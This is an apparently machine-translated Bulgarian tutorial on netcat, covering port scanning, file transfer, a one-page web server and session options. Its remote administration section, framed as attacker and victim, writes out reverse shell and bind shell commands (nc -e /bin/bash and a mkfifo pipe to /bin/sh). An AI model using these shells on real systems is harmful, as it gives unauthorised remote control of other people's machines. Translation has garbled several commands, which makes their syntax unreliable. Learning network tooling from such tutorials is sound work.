NetCat

Netcat - Употреба на швейцарски армейски нож

Netcat - Употреба на швейцарски армейски нож
Netcat е помощна програма, която се използва за четене и запис на данни през TCP и UDP портове. Може да се използва за много страхотни неща като прехвърляне на файлове, сканиране на портове, пренасочване на портове, задействане на компютър на някой друг, създаване на проста програма за чат, за отстраняване на неизправности в мрежата и други, затова е известен като швейцарски армейски нож. Също така той се предлага предварително инсталиран с почти всяка дистрибуция на Linux в днешно време и се използва главно от мрежови администратори, DevOps и инженери по сигурността за ежедневните им малки задачи.

Кратка разлика между netcat-traditional и netcat-openbsd

Налични са два подобни пакета за netcat с малка разлика между тях.

netcat-традиционен включва допълнителна опция '-e', която може да се използва за обвързване на програма (т.е.e bash) с netcat. Тази функция е много полезна за дистанционно администриране.

netcat-openbsd имат допълнителна поддръжка за IPv6 и прокси.

Инсталация на Netcat

Въпреки че netcat се предлага предварително инсталиран в повечето дистрибуции на Linux, но ако не е, той може да бъде инсталиран лесно с помощта на следните команди.

За традиционен пакет,

[имейл защитен]: ~ $ sudo apt-get install netcat-traditional

За версия на openbsd,

[имейл защитен]: ~ $ sudo apt-get install netcat-openbsd

Netcat за Windows можете да изтеглите от тук https: // sourceforge.net / projects / nc110 / files /.

Сега ще разгледаме някои интересни случаи на използване на netcat

Сканиране на портове чрез netcat

За да сканирате за отворени портове, използвайте опцията '-z'. Netcat ще се опита да се свърже с всеки порт, без да изпраща никакви данни или много ограничени данни в UDP случай. Въведете следното

[имейл защитен]: ~ $ nc -z -v hackme.организация 80
... изрязване ..
хакме.орг [217.78.1.155] 80 (http) отворен

За да сканирате за набор от портове, напишете

[имейл защитен]: ~ $ nc -z -nv 192.168.100.72 20-80
(НЕИЗВЕСТНО) [192.168.100.72] 80 (http) отворен
(НЕИЗВЕСТНО) [192.168.100.72] 22 (ssh) отворен

Прехвърляне на файлове с netcat

Друг полезен случай на използване на netcat е трансферът на файлове между отдалечени компютри. Можете да изпращате текстове и двоични файлове от един компютър на друг компютър. Ще се опитаме да изпратим файл „файл.pdf ”от компютър с Linux на компютър с Windows [IP 192.168.100.72] като се използва netcat за пример.

На машина с Windows (приемник) въведете следното

C: \ Потребители> nc -nvlp 1337> файл.pdf
Слушане на [0.0.0.0] (семейство 2, порт 1337)

На машина с Linux (изпращач) въведете следното

[имейл защитен]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Връзка към 192.168.100.72 1337 порт [tcp / *] успя!

Отдалечено администриране с netcat

Един от най-добрите случаи на използване на netcat е отдалеченото администриране, което означава, че можете да контролирате чужд компютър с помощта на netcat. Netcat-traditional се предлага с опция -e, която може да се използва за обвързване на програма (т.е.e cmd.exe в Windows или bash в Linux) с порт, което означава, че netcat ще действа като комуникатор между програмата и отдалечения компютър. Netcat ще получава команди от отдалечен компютър, ще изпълнява на локална система и ще изпраща резултатите обратно на отдалечения компютър. Тази функция се използва широко за злонамерени цели, за да се запазят задкулисни пространства в компютри и сървъри. Тази функция е достъпна само в netcat-traditional, но с малко трик, netcat-openbsd може да се използва за същата цел. Можете да използвате два начина за управление на компютъра на другите.

В Обратна обвивка връзка, нападателят изслушва порт и чака връзката да бъде изпратена от машината жертва. Използва се, когато компютърът на жертвата е зад NAT или няма публичен IP.

За да получите обратна обвивка, използвайки netcat, трябва да слушате на порт, използвайки netcat. Въведете следното на машината за атака,

[имейл защитен]: ~ $ nc -nvlp 1337
Слушане на [0.0.0.0] (семейство 2, порт 1337)

На машината на жертвата (ако netcat-традиционен е инсталиран)

// заменим “/ bin / bash” с “cmd.exe “в случай на Windows

[имейл защитен]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

За netcat-openbsd (където опцията „-e“ не се поддържа)

[имейл защитен]: ~ $ rm / tmp / f; mkfifo / tmp / f; кат
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

Докато в a Bind Shell връзка, нападателят обвързва порт на машината на жертвата и се свързва с този порт с помощта на клиентски сокет. Използва се, когато машината на нападателя е зад NAT или няма публичен IP.

На машината на жертвата напишете

[имейл защитен]: ~ $ nc -nlvp 1337 -e / bin / bash
слушам [всеки] 1337 ..

Сега, за да стартирате команди на машината-жертва, напишете

[имейл защитен]: ~ $ nc -nv 127.0.0.1 1337
Връзка към 127.0.0.1 1337 порт [tcp / *] успя!
$ id
uid = 1000 (azad) gid = 1000 (azad) групи = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)

Прост уеб сървър, използващ netcat

Можете също така да направите още един прост трик, за да използвате netcat като минимален уеб сървър на една страница. Този уеб сървър ще бъде много прост, без специални конфигурации и ние ще използваме, за да изпратим нашия HTML код до браузъра.

[имейл защитен]: ~ $ while true; do echo -e "HTTP / 1.1 200 OK \ n \ n $ (ехо "


Моят прост уеб сървър, използващ netcat

")" | nc -nvlp 1337; Свършен
Слушане на [0.0.0.0] (семейство 2, порт 1337)

Сега опитайте да извлечете уеб страницата с помощта на curl

[имейл защитен]: ~ $ curl http: // 127.0.0.1: 1337 /

Моят прост уеб сървър, използващ netcat

Посочете времето за изчакване за netcat сесия

Можете да посочите времето за изчакване за netcat сесия, като използвате опцията “-w”. Netcat автоматично ще прекъсне сесията си след изтичане на определеното време.

// -w [Време в секунди]
[имейл защитен]: ~ $ nc -w 40 -nvlp 1337
Слушане на [0.0.0.0] (семейство 2, порт 1234)

Продължете да слушате, дори ако клиентът затвори връзката

В нормален режим сървърът на netcat се изключва и спира да слуша на порта, когато клиент затвори връзката. Можете да поддържате сървъра горе, като използвате опцията -k

[имейл защитен]: ~ $ nc -k -nlvp 1234
Слушане на [0.0.0.0] (семейство 2, порт 1234)

Заключение

Netcat е проста, но ефективна помощна програма, която може да се използва за много прости ежедневни задачи. Той се предлага предварително инсталиран в почти всички UNIX като операционни системи и може да се използва за различни задачи като комуникация между два компютъра, прехвърляне на файлове и много други.

Бутонът на левия бутон на мишката не работи в Windows 10
Ако използвате специална мишка с вашия лаптоп или настолен компютър, но бутонът на левия бутон на мишката не работи на Windows 10/8/7 по някаква причи...
Курсорът скача или се движи произволно, докато пишете в Windows 10
Ако установите, че курсорът на вашата мишка скача или се движи самостоятелно, автоматично, произволно, докато пишете в лаптоп или компютър на Windows,...
Как да обърнете посоката на превъртане на мишката и тъчпада в Windows 10
Мишка и Тъчпадs не само правят изчисленията лесни, но и по-ефективни и отнемат по-малко време. Не можем да си представим живот без тези устройства, но...